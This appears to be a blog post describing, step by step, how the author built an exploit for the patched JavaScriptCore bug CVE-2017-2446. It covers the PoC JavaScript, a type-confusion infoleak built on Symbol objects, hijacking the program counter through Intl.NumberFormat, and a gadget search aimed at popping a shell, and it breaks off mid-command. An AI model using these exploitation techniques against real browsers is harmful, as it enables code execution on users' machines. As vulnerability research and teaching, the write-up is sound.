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Before yesterdayDiary of a reverse-engineer

CVE-2017-2446 or JSC::JSGlobalObject::isHavingABadTime.

15 July 2018 at 01:49
By: yrp


This post will cover the development of an exploit for JavaScriptCore (JSC) from the perspective of someone with no background in browser exploitation.

Around the start of the year, I was pretty burnt out on CTF problems and was interested in writing an exploit for something more complicated and practical. I settled on writing a WebKit exploit for a few reasons:

  • It is code that is broadly used in the real world
  • Browsers seemed like a cool target in an area I had little familiarity (both C++ and interpreter exploitation.)
  • WebKit is (supposedly) the softest of the major browser targets.
  • There were good existing resources on WebKit exploitation, namely saelo’s Phrack article, as well as a variety of public console exploits.

With this in mind, I got a recommendation for an interesting looking bug that has not previously been publicly exploited: @natashenka’s CVE-2017-2446 from the project zero bugtracker. The bug report had a PoC which crashed in memcpy() with some partially controlled registers, which is always a promising start.

This post assumes you’ve read saelo’s Phrack article linked above, particularly the portions on NaN boxing and butterflies -- I can’t do a better job of explaining these concepts than the article. Additionally, you should be able to run a browser/JavaScript engine in a debugger -- we will target Linux for this post, but the concepts should translate to your preferred platform/debugger.

Finally, the goal of doing this initially and now writing it up was and is to learn as much as possible. There is clearly a lot more for me to learn in this area, so if you read something that is incorrect, inefficient, unstable, a bad idea, or just have some thoughts to share, I’d love to hear from you.

Target Setup and Tooling

First, we need a vulnerable version of WebKit. e72e58665d57523f6792ad3479613935ecf9a5e0 is the hash of the last vulnerable version (the fix is in f7303f96833aa65a9eec5643dba39cede8d01144) so we check out and build off this.

To stay in more familiar territory, I decided to only target the jsc binary, not WebKit browser as a whole. jsc is a thin command line wrapper around libJavaScriptCore, the library WebKit uses for its JavaScript engine. This means any exploit for jsc, with some modification, should also work in WebKit. I’m not sure if this was a good idea in retrospect -- it had the benefit of resulting in a stable heap as well as reducing the amount of code I had to read and understand, but had fewer codepaths and objects available for the exploit.

I decided to target WebKit on Linux instead of macOS mainly due to debugger familiarity (gdb + gef). For code browsing, I ended up using vim and rtags, which was… okay. If you have suggestions for C++ code auditing, I’d like to hear them.

Target modifications

I found that I frequently wanted to breakpoint in my scripts to examine the interpreter state. After screwing around with this for a while I eventually just added a dbg() function to jsc. This would allow me to write code like:

dbg(); // examine the memory layout
foo(); // do something
dbg(); //see how things have changed

The patch to add dbg() to jsc is pretty straightforward.

diff --git diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index bda9a09d0d2..d359518b9b6 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
+static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
@@ -1218,6 +1219,7 @@ protected:

         addFunction(vm, "debug", functionDebug, 1);
         addFunction(vm, "describe", functionDescribe, 1);
+        addFunction(vm, "dbg", functionDbg, 0);
         addFunction(vm, "describeArray", functionDescribeArray, 1);
         addFunction(vm, "print", functionPrintStdOut, 1);
         addFunction(vm, "printErr", functionPrintStdErr, 1);
@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
     return JSValue::encode(jsUndefined());

+EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
+       asm("int3;");
+       return JSValue::encode(jsUndefined());
 EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
     if (exec->argumentCount() < 1)

Other useful jsc features

Two helpful functions added to the interpreter by jsc are describe() and describeArray(). As these functions would not be present in an actual target interpreter, they are not fair game for use in an exploit, however are very useful when debugging:

>>> a = [0x41, 0x42];
>>> describe(a);
Object: 0x7fc5663b01f0 with butterfly 0x7fc5663caec8 (0x7fc5663eac20:[Array, {}, ArrayWithInt32, Proto:0x7fc5663e4140, Leaf]), ID: 88
>>> describeArray(a);
<Butterfly: 0x7fc5663caec8; public length: 2; vector length: 3>


Release builds of WebKit don’t have asserts enabled, but they also don’t have symbols. Since we want symbols, we will build with CFLAGS=-g CXXFLAGS=-g Scripts/Tools/build-webkit --jsc-only

The symbol information can take quite some time to parse by the debugger. We can reduce the load time of the debugger significantly by running gdb-add-index on both jsc and libJavaScriptCore.so.

Dumping Object Layouts

WebKit ships with a script for macOS to dump the object layout of various classes, for example, here is JSC::JSString:

[email protected]:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSString
Found 1 types matching "JSString" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 24} JSString
  +0 {  8}     JSC::JSCell
  +0 {  1}         JSC::HeapCell
  +0 <  4>         JSC::StructureID m_structureID;
  +4 <  1>         JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>         JSC::JSType m_type;
  +6 <  1>         JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>         JSC::CellState m_cellState;
  +8 <  4>     unsigned int m_flags;
 +12 <  4>     unsigned int m_length;
 +16 <  8>     WTF::String m_value;
 +16 <  8>         WTF::RefPtr<WTF::StringImpl> m_impl;
 +16 <  8>             WTF::StringImpl * m_ptr;
Total byte size: 24
Total pad bytes: 0

This script required minor modifications to run on linux, but it was quite useful later on.


With our target built and tooling set up, let’s dig into the bug a bit. JavaScript (apparently) has a feature to get the caller of a function:

var q;

function f() {
    q = f.caller;

function g() {

g(); // ‘q’ is now equal to ‘g’

This behavior is disabled under certain conditions, notably if the JavaScript code is running in strict mode. The specific bug here is that if you called from a strict function to a non-strict function, JSC would allow you to get a reference to the strict function. From the PoC provided you can see how this is a problem:

var q;
// this is a non-strict chunk of code, so getting the caller is allowed
function g(){
    q = g.caller;
    return 7;

var a = [1, 2, 3];
a.length = 4;
// when anything, including the runtime, accesses a[3], g will be called
Object.defineProperty(Array.prototype, "3", {get : g});
// trigger the runtime access of a[3]
[4, 5, 6].concat(a);
// q now is a reference to an internal runtime function
q(0x77777777, 0x77777777, 0); // crash

In this case, the concat code is in Source/JavaScriptCore/builtins/ArrayPrototype.js and is marked as ‘use strict’.

This behavior is not always exploitable: we need a JS runtime function ‘a’ which performs sanitization on arguments, then calls another runtime function ‘b’ which can be coerced into executing user supplied JavaScript to get a function reference to ‘b’. This will allow you to do b(0x41, 0x42), skipping the sanitization on your inputs which ‘a’ would normally perform.

The JSC runtime is a combination of JavaScript and C++ which kind of looks like this:

| User Code   | <- user-provided code
| JS Runtime  | <- JS that ships with the browser as part of the runtime
| Cpp Runtime | <- C++ that implements the rest of the runtime

The Array.concat above is a good example of this pattern: when concat() is called it first goes into ArrayPrototype.js to perform sanitization on the argument, then calls into one of the concat implementations. The fastpath implementations are generally written in C++, while the slowpaths are either pure JS, or a different C++ implementation.

What makes this bug useful is the reference to the function we get (‘q’ in the above snippet) is after the input sanitization performed by the JavaScript layer, meaning we have a direct reference to the native function.

The provided PoC is an especially powerful example of this, however there are others -- some useful, some worthless. In terms of a general plan, we’ll need to use this bug to create an infoleak to defeat ASLR, then figure out a way to use it to hijack control flow and get a shell out of it.


Defeating ASLR is the first order of business. To do this, we need to understand the reference we have in the concat code.

concat in more detail

Tracing the codepath from our concat call, we start in Source/JavaScriptCore/builtins/ArrayPrototype.js:

function concat(first)
    "use strict";

    // [1] perform some input validation
    if (@argumentCount() === 1
        && @isJSArray(this)
        && this.@isConcatSpreadableSymbol === @undefined
        && (!@isObject(first) || first.@isConcatSpreadableSymbol === @undefined)) {

        let result = @concatMemcpy(this, first); // [2] call the fastpath
        if (result !== null)
            return result;

    // … snip ...

In this code snippet the @ is the interpreter glue which tells the JavaScript engine to look in the C++ bindings for the specified symbol. These functions are only callable via the JavaScript runtime which ships with Webkit, not user code. If you follow this through some indirection, you will find @concatMemcpy corresponds to arrayProtoPrivateFuncAppendMemcpy in Source/JavaScriptCore/runtime/ArrayPrototype.cpp:

EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncAppendMemcpy(ExecState* exec)
    ASSERT(exec->argumentCount() == 3);

    VM& vm = exec->vm();
    JSArray* resultArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
    JSArray* otherArray = jsCast<JSArray*>(exec->uncheckedArgument(1));
    JSValue startValue = exec->uncheckedArgument(2);
    ASSERT(startValue.isAnyInt() && startValue.asAnyInt() >= 0 && startValue.asAnyInt() <= std::numeric_limits<unsigned>::max());
    unsigned startIndex = static_cast<unsigned>(startValue.asAnyInt());
    if (!resultArray->appendMemcpy(exec, vm, startIndex, otherArray)) // [3] fastpath...
    // … snip ...

Which finally calls into appendMemcpy in JSArray.cpp:

bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
    // … snip ...

    unsigned otherLength = otherArray->length();
    unsigned newLength = startIndex + otherLength;
    if (newLength >= MIN_SPARSE_ARRAY_INDEX)
        return false;

    if (!ensureLength(vm, newLength)) { // [4] check dst size
        throwOutOfMemoryError(exec, scope);
        return false;
    ASSERT(copyType == indexingType());

    if (type == ArrayWithDouble)
        memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
        memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength); // [5] do the concat

    return true;

This may seem like a lot of code, but given Arrays src and dst, it boils down to this:

# JS Array.concat
def concat(dst, src):
    if typeof(dst) == Array and typeof(src) == Array: concatFastPath(dst, src)
    else: concatSlowPath(dst, src)

# C++ concatMemcpy / arrayProtoPrivateFuncAppendMemcpy
def concatFastPath(dst, src):
    appendMemcpy(dst, src)

# C++ appendMemcpy
def appendMemcpy(dst, src):
    if allocated_size(dst) < sizeof(dst) + sizeof(src):

    memcpy(dst + sizeof(dst), src, sizeof(src));

However, thanks to our bug we can skip the type validation at [1] and call arrayProtoPrivateFuncAppendMemcpy directly with non-Array arguments! This turns the logic bug into a type confusion and opens up some exploitation possibilities.

JSObject layouts

To understand the bug a bit better, let’s look at the layout of JSArray:

[email protected]:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSArray
Found 1 types matching "JSArray" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 16} JSArray
  +0 { 16}     JSC::JSNonFinalObject
  +0 { 16}         JSC::JSObject
  +0 {  8}             JSC::JSCell
  +0 {  1}                 JSC::HeapCell
  +0 <  4>                 JSC::StructureID m_structureID;
  +4 <  1>                 JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>                 JSC::JSType m_type;
  +6 <  1>                 JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>                 JSC::CellState m_cellState;
  +8 <  8>             JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly;
  +8 <  8>                 JSC::Butterfly * m_value;
Total byte size: 16
Total pad bytes: 0

The memcpy we’re triggering uses butterfly()->contiguous().data() + startIndex as a dst, and while this may initially look complicated, most of this compiles away. butterfly() is a butterfly, as detailed in saelo’s Phrack article. This means the contiguous().data() portion effectively disappears. startIndex is fully controlled as well, so we can make this 0. As a result, our memcpy reduces to: memcpy(qword ptr [obj + 8], qword ptr [src + 8], sizeof(src)). To exploit this we simply need an object which has a non-butterfly pointer at offset +8.

This turns out to not be simple. Most objects I could find inherited from JSObject, meaning they inherited the butterfly pointer field at +8. In some cases (e.g. ArrayBuffer) this value was simply NULL’d, while in others I wound up type confusing a butterfly with another butterfly, to no effect. JSStrings were particularly frustrating, as the relevant portions of their layout were:

+8    flags  : u32
+12   length : u32

The length field was controllable via user code, however flags were not. This gave me the primitive that I could control the top 32bit of a pointer, and while this might have been doable with some heap spray, I elected to Find a Better Bug(™).

Salvation Through Symbols

My basic process at this point was to look at MDN for the types I could instantiate from the interpreter. Most of these were either boxed (integers, bools, etc), Objects, or Strings. However, Symbol was a JS primitive had a potentially useful layout:

[email protected]:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC Symbol
Found 1 types matching "Symbol" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 16} Symbol
  +0 {  8}     JSC::JSCell
  +0 {  1}         JSC::HeapCell
  +0 <  4>         JSC::StructureID m_structureID;
  +4 <  1>         JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>         JSC::JSType m_type;
  +6 <  1>         JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>         JSC::CellState m_cellState;
  +8 <  8>     JSC::PrivateName m_privateName;
  +8 <  8>         WTF::Ref<WTF::SymbolImpl> m_uid;
  +8 <  8>             WTF::SymbolImpl * m_ptr;
Total byte size: 16
Total pad bytes: 0

At +8 we have a pointer to a non-butterfly! Additionally, this object passes all the checks on the above code path, leading to a potentially controlled memcpy on top of the SymbolImpl. Now we just need a way to turn this into an infoleak...


WTF::SymbolImpl’s layout:

[email protected]:~/WebKit/Tools/Scripts$ ./dump-class-layout WTF SymbolImpl
Found 1 types matching "SymbolImpl" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 48} SymbolImpl
  +0 { 24}     WTF::UniquedStringImpl
  +0 { 24}         WTF::StringImpl
  +0 <  4>             unsigned int m_refCount;
  +4 <  4>             unsigned int m_length;
  +8 <  8>             WTF::StringImpl::(anonymous union) None;
 +16 <  4>             unsigned int m_hashAndFlags;
 +20 <  4>             <PADDING>
 +20 <  4>         <PADDING>
 +20 <  4>     <PADDING>
 +24 <  8>     WTF::StringImpl * m_owner;
 +32 <  8>     WTF::SymbolRegistry * m_symbolRegistry;
 +40 <  4>     unsigned int m_hashForSymbol;
 +44 <  4>     unsigned int m_flags;
Total byte size: 48
Total pad bytes: 12
Padding percentage: 25.00 %

The codepath we’re on expects a butterfly with memory layout simplified to the following:

       -8   -4     +0  +8  +16
|pub length|length| 0 | 1 | 2 |...| n |
+-------------+   |
|butterfly ptr+---+

However, we’re providing it with something like this:

                    +0       +4     +8
|       OOB        |refcount|length|str base ptr|
+--------------+   |
|SymbolImpl ptr+---+

If we recall our earlier pseudocode:

def appendMemcpy(dst, src):
    if allocated_size(dst) < sizeof(dst) + sizeof(src):

    memcpy(dst + sizeof(dst), src, sizeof(src));

In the normal butterfly case, it will check the length and public length fields, located at -4 and -8 from the butterfly pointer (i.e btrfly[-1] and btrfly[-2] respectively). However, when passing Symbols in our typed confused cases those array accesses will be out of bounds, and thus potentially controllable. Let’s walk through the two possibilities.

OOB memory is a large value

Let’s presume we have a memory layout similar to:

  OOB    OOB
|0xffff|0xffff|refcount|length|str base ptr|
        +---+ |

The exact OOB values won’t matter, as long as they’re greater than the size of the dst plus the src. In this case, resize in our pseudocode or ensureLength ([4]) in the actual code will not trigger a reallocation and object move, resulting in a direct memcpy on top of refcount and length. From here, we can turn this into a relative read infoleak by overwriting the length field.

For example, if we store a function reference to arrayProtoPrivateFuncAppendMemcpy in a variable named busted_concat and then trigger the bug, like this:

let x = Symbol("AAAA");

let y = [];
y.push(new Int64('0x000042420000ffff').asDouble());

busted_concat(x, y, 0);

Note: Int64 can be found here and is, of course, covered in saelo’s Phrack article.

We would then end up with a Symbol x with fields:

 refcount length
| 0x4242 |0xffff|str base ptr|

str base ptr will point to AAAA, however instead of having a length of 4, it will have a length of 0xffff. To access this memory, we can extract the String from a Symbol with:

let leak = x.toString().charCodeAt(0x1234);

toString() in this case is actually kind of complicated under the hood. My understanding is that all strings in JSC are “roped”, meaning any existing substrings are linked together with pointers as opposed to linearly laid out in memory. However this detail doesn’t really affect us, for our purposes a string is created out of our controlled length and the existing string base pointer, with no terminating characters to be concerned with. It is possible to crash here if we were to index outside of mapped memory, but this hasn’t happened in my experience. As an additional minor complication, strings come in two varieties, 8bit and UTF-16. We can easily work around this with a basic heuristic: if we read any values larger than 255 we just assume it is a UTF-16 string.

None of this changes the outcome of the snippet above, leak now contains the contents of OOB memory. Boom, relative memory read :)

OOB Memory is a zero

On the other hand, let’s assume the OOB memory immediately before our target SymbolImpl is all zeros. In this case, resize / ensureLength will trigger a reallocation and object move. ensureLength more or less corresponds to the following pseudocode:

if sizeof(this.butterfly) + sizeof(other.butterfly) > self.sz:
    new_btrfly =  alloc(sizeof(this.butterfly) + sizeof(other.butterfly));
    memcpy(new_btrfly, this.butterfly, sizeof(this.butterfly));
    this.butterfly = new_btrfly;

Or in words: if the existing butterfly isn’t large enough to hold a combination of the two butterflies, allocate a larger one, copy the existing butterfly contents into it, and assign it. Note that this does not actually do the concatenation, it just makes sure the destination will be large enough when the concatenation is actually performed.

This turns out to also be quite useful to us, especially if we already have the relative read above. Assuming we have a SymbolImpl starting at address 0x4008 with a memory layout of:

          OOB    OOB
0x4000: |0x0000|0x0000|refcount|length|str base ptr|
                +---+ |

And, similar to the large value case above, we trigger the bug:

let read_target = '0xdeadbeef';

let x = Symbol("AAAA");

let y = [];
y.push(new Int64('0x000042420000ffff').asDouble());
y.push(new Int64(read_target).asDouble());

busted_concat(x, y, 0);

We end up with a “SymbolImpl” at a new address, 0x8000:

         refcount length str base ptr
0x8000: | 0x4242 |0xffff| 0xdeadbeef |

In this case, we’ve managed to conjure a complete SymbolImpl! We might not need to allocate a backing string for this Symbol (i.e. “AAAA”), but doing so can make it slightly easier to debug. The ensureLength code basically decided to “resize” our SymbolImpl, and by doing so allowed us to fully control the contents of a new one. This now means that if we do

let leak = x.toString().charCodeAt(0x5555);

We will be dereferencing *(0xdeadbeef + 0x5555), giving us a completely arbitrary memory read. Obviously this depends on a relative leak, otherwise we wouldn’t have a valid mapped address to target. Additionally, we could have overwritten the str base pointer in the non-zero length case (because the memcpy is based on the sizeof the source), but I found this method to be slightly more stable and repeatable.

With this done we now have both relative and arbitrary infoleaks :)

Notes on fastMalloc

We will get into more detail on this in a second, however I want to cover how we control the first bytes prior the SymbolImpl, as being able to control which ensureLength codepath we hit is important (we need to get the relative leak before the absolute). This is partially where targeting jsc instead of Webkit proper made my life easier: I had more or less deterministic heap layout for all of my runs, specifically:

// this symbol will always pass the ensureLength check
let x = Symbol('AAAA');

function y() {
    // this symbol will always fail the ensureLength check
    let z = Symbol('BBBB');

To be honest, I didn’t find the root cause for why this was the case; I just ran with it. SymbolImpl objects here are allocated via fastMalloc, which seems to be used primarily by the JIT, SymbolImpl, and StringImpl. Additionally (and unfortunately) fastMalloc is used by print(), meaning if we were interested in porting our exploit from jsc to WebKit we would likely have to redo most of the heap offsets (in addition to spraying to get control over the ensureLength codepath).

While this approach is untested, something like

let x = 'AAAA'.blink();

Will cause AAAA to be allocated inline with the allocation metadata via fastMalloc, as long as your target string is short enough. By spraying a few blink’d objects to fill in any holes, it should be possible to to control ensureLength and get the relative infoleak to make the absolute infoleak.

Arbitrary Write

Let’s recap where we are, where we’re trying to go, and what’s left to do:

We can now read and leak arbitrary browser memory. We have a promising looking primitive for a memory write (the memcpy in the case where we do not resize). If we can turn that relative memory write into an arbitrary write we can move on to targeting some vtables or saved program counters on the stack, and hijack control flow to win.

How hard could this be?

Failure: NaN boxing

One of the first ideas I had to get an arbitrary write was passing it a numeric value as the dst. Our busted_concat can be simplified to a weird version of memcpy(), and instead of passing it memcpy(Symbol, Array, size) could we pass it something like memcpy(0x41414141, Array, size)? We would need to create an object at the address we passed in, but that shouldn’t be too difficult at this point: we have a good infoleak and the ability to instantiate memory with arbitrary values via ArrayWithDouble. Essentially, this is asking if we can use this function reference to get us a fakeobj() like primitive. There are basically two possibilities to try, and neither of them work.

First, let’s take the integer case. If we pass 0x41414141 as the dst parameter, this will be encoded into a JSValue of 0xffff000041414141. That’s a non-canonical address, and even if it weren’t, it would be in kernel space. Due to this integer tagging, it is impossible to get a JSValue that is an integer which is also a valid mapped memory address, so the integer path is out.

Second, let’s examine what happens if we pass it a double instead: memcpy(new Int64(0x41414141).asDouble(), Array, size). In this case, the double should be using all 64 bits of the address, so it might be possible to construct a double who’s representation is a mapped memory location. However, JavaScriptCore handles this case as well: they use a floating point representation which has 0x0001000000000000 added to the value when expressed as a JSValue. This means, like integers, doubles can never correspond to a useful memory address.

For more information on this, check out this comment in JSCJSValue.h which explains the value tagging in more detail.

Failure: Smashing fastMalloc

In creating our relative read infoleak, we only overwrote the refcount and length fields of the target SymbolImpl. However, this memcpy should be significantly more useful to us: because the size of the copy is related to the size of the source, we can overwrite up to the OOB size field. Practically, this turns into an arbitrary overwrite of SymbolImpls.

As mentioned previously, SymbolImpl get allocated via fastMalloc. To figure this out, we need to leave JSC and check out the Web Template Framework or WTF. WTF, for lack of a better analogy, forms a kind of stdlib for JSC to be built on top of it. If we look up WTF::SymbolImpl from our class dump above, we find it in Source/WTF/wtf/text/SymbolImpl.h. Specifically, following the class declarations that are of interest to us:

class SymbolImpl : public UniquedStringImpl {


class UniquedStringImpl : public StringImpl {


class StringImpl {

WTF_MAKE_FAST_ALLOCATED is a macro which expands to cause objects of this type to be allocated via fastMalloc. This help forms our target list: anything that is tagged with WTF_MAKE_FAST_ALLOCATED, or allocated directly via fastMalloc is suitable, as long as we can force an allocation from the interpreter.

To save some space: I was unsuccessful at finding any way to turn this fastMalloc overflow into an arbitrary write. At one point I was absolutely convinced I had a method of partially overwriting a SymbolImpl, converting it to a to String, then overwriting that, thus bypassing the flags restriction mentioned earlier... but this didn’t work (I confused JSC::JSString with WTF::StringImpl, amongst other problems).

All the things I could find to overwrite in the fastMalloc heap were either Strings (or String-like things, e.g. Symbols) or were JIT primitives I didn’t want to try to understand. Alternatively I could have tried to target fastMalloc metadata attacks -- for some reason this didn’t occur to me until much later and I haven’t looked at this at all.

Remember when I mentioned the potential downsides of targeting jsc specifically? This is where they start to come into play. It would be really nice at this point to have a richer set of objects to target here, specifically DOM or other browser objects. More objects would give me additional avenues on three fronts: more possibilities to type confuse my existing busted functions, more possibilities to overflow in the fastMalloc heap, and more possibilities to obtain references to useful functions.

At this point I decided to try to find a different chain of functions calls which would use the same bug but give me a reference to a different runtime function.

Control Flow

My general workflow when auditing other functions for our candidate pattern was to look at the code exposed via builtins, find native functions, and then audit those native functions looking for things that had JSValue’s evaluated. While this found other instances of this pattern (e.g. in the RegExp code), they were not usable -- the C++ runtime functions would do additional checks and error out. However when searching, I stumbled onto another p0 bug with the same CVE attributed, p0 bug 1036. Reproducing from the PoC there:

var i = new Intl.DateTimeFormat();
var q;

function f(){
    q = f.caller;
    return 10;

i.format({valueOf : f});


This bug is very similar to our earlier bug and originally I was confused as to why it was a separate p0 bug. Both bugs manifest in the same way, by giving you a non-properly-typechecked reference to a function, however the root cause that makes the bugs possible is different. In the appendMemcpy case this is due to a lack of checks on use strict code. This appears to be a “regular” type confusion, unrelated to use strict. These bugs, while different, are similar enough that they share a CVE and a fix.

So, with this understood can we use Intl.DateTimeFormat usefully to exploit jsc?

Intl.DateTimeFormat Crash

What’s the outcome if we run that PoC?

Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
$rdi   : 0xffff000077777777
 → 0x7ffff77a8960 <JSC::IntlDateTimeFormat::format(JSC::ExecState&,+0> cmp    BYTE PTR [rdi+0x18], 0x0

Ok, so we’re treating a NaN boxed integer as an object. What if we pass it an object instead?

// ...
q.call({a: new Int64('0x41414141')});

Results in:

Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
$rdi   : 0x0000000000000008
 → 0x7ffff77a4833 <JSC::IntlDateTimeFormat::initializeDateTimeFormat(JSC::ExecState&,+0> mov    eax, DWORD PTR [rdi]

Hmm.. this also doesn’t look immediately useful. As a last ditch attempt, reading the docs we notice there is a both an Intl.DateTimeFormat and an Intl.NumberFormat with a similar format call. Let’s try getting a reference to that function instead:


var i = new Intl.NumberFormat();
var q;

function f(){
        q = f.caller;
        return 10;

i.format({valueOf : f});

q.call({a: new Int64('0x41414141')});

Giving us:

Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
$rax   : 0x0000000041414141
 → 0x7ffff4b7c769 <unum_formatDouble_57+185> call   QWORD PTR [rax+0x48]

Yeah, we can probably exploit this =p

I’d like to say that finding this was due to a deep reading and understanding of WebKit’s internationalization code, but really I was just trying things at random until something crashed in a useful looking state. I’m sure I tried dozens of other things that didn’t end up working out along the way... From a pedagogical perspective, I’m aware that listing random things I tried is not exactly optimal, but that’s actually how I did it so :)

Exploit Planning

Let’s pause to take stock of where we’re at:

  • We have an arbitrary infoleak
  • We have a relative write and no good way to expand it to an arbitrary write
  • We have control over the program counter

Using the infoleak we can find pretty much anything we want, thanks to linux loader behavior (libc.so.6 and thus system() will always be at a fixed offset from libJavaScriptCore.so which we already have the base address of leaked). A “proper” exploit would take a arbitrary shellcode and result in it’s execution, but we can settle with popping a shell.

The ideal case here would be we have control over rdi and can just point rip at system() and we’d be done. Let’s look at the register state where we hijack control flow, with pretty printing from @_hugsy’s excellent gef.

$rax   : 0x0000000041414141
$rbx   : 0x0000000000000000
$rcx   : 0x00007fffffffd644  →  0xb2de45e000000000
$rdx   : 0x00007fffffffd580  →  0x00007ffff4f14d78  →  0x00007ffff4b722d0  →  <icu_57::FieldPosition::~FieldPosition()+0> lea rax, [rip+0x3a2a91]        # 0x7ffff4f14d68 <_ZTVN6icu_5713FieldPositionE>
$rsp   : 0x00007fffffffd570  →  0x7ff8000000000000
$rbp   : 0x00007fffffffd5a0  →  0x00007ffff54dfc00  →  0x00007ffff51f30e0  →  <icu_57::UnicodeString::~UnicodeString()+0> lea rax, [rip+0x2ecb09]        # 0x7ffff54dfbf0 <_ZTVN6icu_5713UnicodeStringE>
$rsi   : 0x00007fffffffd5a0  →  0x00007ffff54dfc00  →  0x00007ffff51f30e0  →  <icu_57::UnicodeString::~UnicodeString()+0> lea rax, [rip+0x2ecb09]        # 0x7ffff54dfbf0 <_ZTVN6icu_5713UnicodeStringE>
$rdi   : 0x00007fffb2d5c120  →  0x0000000041414141 ("AAAA"?)
$rip   : 0x00007ffff4b7c769  →  <unum_formatDouble_57+185> call QWORD PTR [rax+0x48]
$r8    : 0x00007fffffffd644  →  0xb2de45e000000000
$r9    : 0x0000000000000000
$r10   : 0x00007ffff35dc218  →  0x0000000000000000
$r11   : 0x00007fffb30065f0  →  0x00007fffffffd720  →  0x00007fffffffd790  →  0x00007fffffffd800  →  0x00007fffffffd910  →  0x00007fffb3000000  →  0x0000000000000003
$r12   : 0x00007fffffffd644  →  0xb2de45e000000000
$r13   : 0x00007fffffffd660  →  0x0000000000000000
$r14   : 0x0000000000000020
$r15   : 0x00007fffb2d5c120  →  0x0000000041414141 ("AAAA"?)

So, rax is fully controlled and rdi and r15 are pointers to rax. Nothing else seems particularly useful. The ideal case is probably out, barring some significant memory sprays to get memory addresses that double as useful strings. Let’s see if we can do it without rdi.


On linux, there is a handy tool for this by @david924j called one_gadget. one_gadget is pretty straightforward in its use: you give it a libc, it gives you the offsets and constraints for PC values that will get you a shell. In my case:

[email protected]:~$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x41bce execve("/bin/sh", rsp+0x30, environ)
  rax == NULL

0x41c22 execve("/bin/sh", rsp+0x30, environ)
  [rsp+0x30] == NULL

0xe1b3e execve("/bin/sh", rsp+0x60, environ)
  [rsp+0x60] == NULL

So, we have three constraints, and if we can satisfy any one of them, we’re done. Obviously the first is out -- we take control of PC with a call [rax+0x48] so rax cannot be NULL. So, now we’re looking at stack contents. Because nothing is ever easy, neither of the stack based constraints are met either. Since the easy solutions are out, let’s look at what we have in a little more detail.

Memory layout and ROP

rax -> |0xdeadbeefdeadbeef|
       |        ...       |
+0x48  |0x4141414141414141| <- new rip

To usefully take control of execution, we will need to construct an array with our target PC value at offset +0x48, then call our type confusion with that value. Because we can construct ArrayWithDouble’s arbitrary, this isn’t really a problem: populate the array, use our infoleak to find the array base, use that as the type confusion value.

A normal exploit path in this case will focus on getting a stack pivot and setting up a rop chain. In our case, if we wanted to try this the code we would need would be something like:

mov X, [rdi] ; or r15
mov Y, [X]
mov rsp, Y

Where X and Y can be any register. While some code with these properties likely exists inside some of the mapped executable code in our address space, searching for it would require some more complicated tooling than I was familiar with or felt like learning. So ROP is probably out for now.

Reverse gadgets

By this point we are very familiar with the fact that WebKit is C++, and C++ famously makes heavy use of function indirection much to the despair of reverse engineers and glee of exploit writers. Normally in a ROP chain we find snippets of code and chain them together, using ret to transfer control flow between them but that won’t work in this case. However, what if we could leverage C++’s indirection to get us the ability to execute gadgets. In our specific current case, we’re taking control of PC on a call [rax + 0x48], with a fully controlled rax. Instead of looking for gadgets that end in ret, what if we look for gadgets that end in call [rax + n] and stitch them together.

[email protected]:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
    | grep 'call   QWORD PTR \[rax' \
    | wc -l

7214 gadgets is not a bad playground to choose from. Obviously objdump is not the best disassembler for this as it won’t find all instances (e.g. overlapping/misaligned instructions), but it should be good enough for our purposes. Let’s combine this idea with one_gadget constraints. We need a series of gadgets that:

  • Zero a register
  • Write that register to [rsp+0x28] or [rsp+0x58]
  • All of which end in a call [rax+n], with each n being unique

Why +0x28 or +0x58 instead of +0x30 or +0x60 like one_gadget’s output? Because the the final call into one_gadget will push the next PC onto the stack, offsetting it by 8. With a little bit of grepping, this was surprisingly easy to find. We’re going to search backwards, first, let’s go for the stack write.

[email protected]:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
    | grep -B1 'call   QWORD PTR \[rax' \
    | grep -A1 'mov    QWORD PTR \[rsp+0x28\]'
